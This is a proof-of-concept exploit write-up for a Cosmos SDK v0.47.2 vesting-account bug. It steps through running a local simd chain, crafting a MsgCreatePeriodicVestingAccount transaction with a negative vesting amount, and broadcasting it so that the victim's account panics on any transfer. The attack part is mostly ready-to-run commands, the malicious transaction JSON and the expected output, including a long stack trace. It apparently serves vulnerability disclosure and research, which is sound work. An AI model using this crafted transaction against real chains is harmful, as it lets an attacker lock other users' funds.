by Yaar Hahn and Dima Kogan
See our blog post for full details.
Our POC uses the simapp
’s simd
binary running locally.
The main steps are:
- Start the chain.
- Fund the attacker’s account with tokens.
- Exploiter sends a
MsgCreatePeriodicVestingAccount
and creates a new account. - Victim transfers additional funds into their new account.
- Victim tries to withdraw their (unlocked) funds from their account and fails.
- Build
simd
git clone git@github.com:cosmos/cosmos-sdk.git cd cosmos-sdk git checkout v0.47.2 make build cd build
- Setup
simd
according to cosmos-sdk's README :./simd tendermint unsafe-reset-all ./simd init test --chain-id localtest
- Add attacker account
The expected output is:
echo "bottom loan skill merry east cradle onion journey palm apology verb edit desert impose absurd oil bubble sweet glove shallow size build burst effort" | ./simd keys add attacker --recover --keyring-backend test
- address: cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq name: attacker pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A2MR6q+pOpLtdxh0tHHe2JrEY2KOcvRogtLxHDHzJvOh"}' type: local
- Add victim account keys (only generated offline)
The expected output is:
echo "notice oak worry limit wrap speak medal online prefer cluster roof addict wrist behave treat actual wasp year salad speed social layer crew genius" | ./simd keys add victim --recover --keyring-backend test
- name: victim type: local address: cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"AuwYyCUBxQiBGSUWebU46c+OrlApVsyGLHd4qhSDZeiG"}' mnemonic: ""
- Run the chain
./simd genesis add-genesis-account attacker 10000000000000000000000000stake --keyring-backend test ./simd genesis gentx attacker 1000000000stake --keyring-backend test --chain-id localtest ./simd genesis collect-gentxs ./simd start
- In a separate terminal session, create a file with the malicious transaction.
Note that we use a pre-generated transaction, as the CLI’s client code verifies that the amounts are not negative (unlike the code of the actual node, which does not validate the incoming message).
cat >tx.json <<EOL { "body": { "messages": [ { "@type": "/cosmos.vesting.v1beta1.MsgCreatePeriodicVestingAccount", "from_address": "cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq", "to_address": "cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz", "start_time": "1680000000", "vesting_periods": [ { "length": "1", "amount": [ { "denom": "stake", "amount": "2" } ] }, { "length": "1000000000", "amount": [ { "denom": "stake", "amount": "-1" } ] } ] } ], "memo": "", "timeout_height": "0", "extension_options": [], "non_critical_extension_options": [] }, "auth_info": { "signer_infos": [], "fee": { "amount": [ { "denom": "stake", "amount": "1" } ], "gas_limit": "200000", "payer": "", "granter": "" }, "tip": null }, "signatures": [] } EOL
- Sign and broadcast the transaction
./simd tx sign tx.json --from cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq --keyring-backend test --chain-id localtest --fees 1000stake --output-document tx.signed.json ./simd tx broadcast tx.signed.json
- Check the new account is valid
Expected output:
./simd query account cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
'@type': /cosmos.vesting.v1beta1.PeriodicVestingAccount base_vesting_account: base_account: account_number: "7" address: cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz pub_key: null sequence: "0" delegated_free: [] delegated_vesting: [] end_time: "2680000001" original_vesting: - amount: "1" denom: stake start_time: "1680000000" vesting_periods: - amount: - amount: "2" denom: stake length: "1" - amount: - amount: "-1" denom: stake length: "1000000000"
- Fund the account with additional funds
./simd tx bank send cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz 10000stake --keyring-backend test --chain-id localtest --fees 1000stake -y
- Verify balances
Expected Output:
./simd query bank balances cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
balances: - amount: "10001" denom: stake pagination: next_key: null total: "0"
- Victim tries to send funds - and fails
Expected output:
./simd tx bank send cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq 1stake --keyring-backend test --chain-id localtest --fees 1000stake -y
stake --keyring-backend test --chain-id localtest --fees 1000stake -y code: 111222 codespace: undefined data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: |"recovered: negative coin amount stack: goroutine 550 [running]: runtime/debug.Stack() runtime/debug/stack.go:24 +0x64 github.com/cosmos/cosmos-sdk/baseapp.newDefaultRecoveryMiddleware.func1({0x102946360, 0x102d43338}) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:71 +0x24 github.com/cosmos/cosmos-sdk/baseapp.newRecoveryMiddleware.func1({0x102946360?, 0x102d43338?}) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:39 +0x34 github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x102946360, 0x102d43338}, 0x14000472f00?) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:28 +0x38 github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x102946360, 0x102d43338}, 0x102d7df70?) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:33 +0x60 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx.func1() github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/baseapp.go:632 +0xa8 panic({0x102946360, 0x102d43338}) runtime/panic.go:890 +0x248 github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle.func1() github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/setup.go:57 +0x1b4 panic({0x102946360, 0x102d43338}) runtime/panic.go:884 +0x1f4 github.com/cosmos/cosmos-sdk/types.Coins.Sub(...) github.com/cosmos/cosmos-sdk@v0.47.2/types/coin.go:381 github.com/cosmos/cosmos-sdk/x/auth/vesting/types.PeriodicVestingAccount.GetVestingCoins({0x14003842a20, 0x6422c400, {0x14000a35800, 0x2, 0x2}}, {0xaa27c?, 0x3e8?, 0x0?}) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/vesting/types/vesting_account.go:382 +0x88 github.com/cosmos/cosmos-sdk/x/auth/vesting/types.PeriodicVestingAccount.LockedCoins({0x14003842a20, 0x6422c400, {0x14000a35800, 0x2, 0x2}}, {0x1400141aea0?, 0x12c055af8?, 0x0?}) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/vesting/types/vesting_account.go:388 +0x3c github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseViewKeeper.LockedCoins({{_, _}, {_, _}, {_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/view.go:173 +0xe4 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.subUnlockedCoins({{{_, _}, {_, _}, {_, _}}, {_, _}, {_, _}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/send.go:239 +0xb4 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.SendCoins({{{_, _}, {_, _}, {_, _}}, {_, _}, {_, _}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/send.go:193 +0xf8 github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseKeeper.SendCoinsFromAccountToModule({{{{0x12c055af8, 0x1400141a3d0}, {0x102d53060, 0x14001480450}, {0x12c055b68, 0x140001df200}}, {0x12c055af8, 0x1400141a3d0}, {0x12c055b68, 0x140001df200}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/keeper.go:359 +0x164 github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFees({_, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:130 +0x150 github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFeeDecorator.checkDeductFee({{_, _}, {_, _}, {_, _}, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:106 +0x470 github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFeeDecorator.AnteHandle({{_, _}, {_, _}, {_, _}, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:61 +0x1b0 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ConsumeTxSizeGasDecorator.AnteHandle({{_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:143 +0x48c github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateMemoDecorator.AnteHandle({{_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:67 +0x14c github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.TxTimeoutHeightDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:206 +0x200 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateBasicDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:34 +0xfc github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.RejectExtensionOptionsDecorator.AnteHandle({_}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/ext.go:52 +0xd8 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/setup.go:62 +0x440 github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...) github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx(0x140006a90e0, 0x0, {0x140001c2a00, 0x139, 0x13b}) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/baseapp.go:687 +0x3d4 github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).CheckTx(0x140006a90e0, {{0x140001c2a00?, 0x40?, 0x41?}, 0x3fbaae0?}) github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/abci.go:370 +0x78 github.com/cometbft/cometbft/abci/client.(*localClient).CheckTxAsync(0x14000d52540, {{0x140001c2a00?, 0xc82e158a7027583f?, 0xb08d68483f56606a?}, 0x1f81b30?}) github.com/cometbft/cometbft@v0.37.1/abci/client/local_client.go:93 +0xf4 github.com/cometbft/cometbft/proxy.(*appConnMempool).CheckTxAsync(0x14000ef05d0, {{0x140001c2a00?, 0x140040329b8?, 0x10047a394?}, 0x40329c8?}) github.com/cometbft/cometbft@v0.37.1/proxy/app_conn.go:154 +0xf8 github.com/cometbft/cometbft/mempool/v0.(*CListMempool).CheckTx(0x140003a69c0, {0x140001c2a00, 0x139, 0x13b}, 0x0?, {0x0?, {0x0?, 0x14000454200?}}) github.com/cometbft/cometbft@v0.37.1/mempool/v0/clist_mempool.go:254 +0x260 github.com/cometbft/cometbft/rpc/core.BroadcastTxSync(0x140046443e0, {0x140001c2a00, 0x139, 0x13b}) github.com/cometbft/cometbft@v0.37.1/rpc/core/mempool.go:35 +0xc8 reflect.Value.call({0x1029cd2e0?, 0x102d3beb8?, 0x14004033278?}, {0x101d2b3ee, 0x4}, {0x14001f81b00, 0x2, 0x10121c5fc?}) reflect/value.go:586 +0x838 reflect.Value.Call({0x1029cd2e0?, 0x102d3beb8?, 0x1ad?}, {0x14001f81b00?, 0x102d2f640?, 0x14001f88d80?}) reflect/value.go:370 +0x90 github.com/cometbft/cometbft/rpc/jsonrpc/server.makeJSONRPCHandler.func1({0x102d590e0, 0x140006b8450}, 0x1400062e300) github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_json_handler.go:108 +0xc38 github.com/cometbft/cometbft/rpc/jsonrpc/server.handleInvalidJSONRPCPaths.func1({0x102d590e0?, 0x140006b8450?}, 0x12c1ede90?) github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_json_handler.go:140 +0x70 net/http.HandlerFunc.ServeHTTP(0x14000a35600?, {0x102d590e0?, 0x140006b8450?}, 0x10121f6c8?) net/http/server.go:2122 +0x38 net/http.(*ServeMux).ServeHTTP(0x160?, {0x102d590e0, 0x140006b8450}, 0x1400062e300) net/http/server.go:2500 +0x13c github.com/cometbft/cometbft/rpc/jsonrpc/server.maxBytesHandler.ServeHTTP({{0x102d4eb20?, 0x14000fef480?}, 0x10?}, {0x102d590e0?, 0x140006b8450}, 0x1400062e300) github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_server.go:256 +0x13c github.com/cometbft/cometbft/rpc/jsonrpc/server.RecoverAndLogHandler.func1({0x102d66f70?, 0x1400409a000}, 0x1400062e300) github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_server.go:229 +0x2a8 net/http.HandlerFunc.ServeHTTP(0x0?, {0x102d66f70?, 0x1400409a000?}, 0x100820e80?) net/http/server.go:2122 +0x38 net/http.serverHandler.ServeHTTP({0x102d54690?}, {0x102d66f70, 0x1400409a000}, 0x1400062e300) net/http/server.go:2936 +0x2c0 net/http.(*conn).serve(0x14000cd1950, {0x102d6be60, 0x14000e867b0}) net/http/server.go:1995 +0x518 created by net/http.(*Server).Serve net/http/server.go:3089 +0x4e8 : panic" timestamp: "" tx: null txhash: EDED44CB4BE0C398170606EBB8FC5F223F5827708A152EC86A60563F48688DB0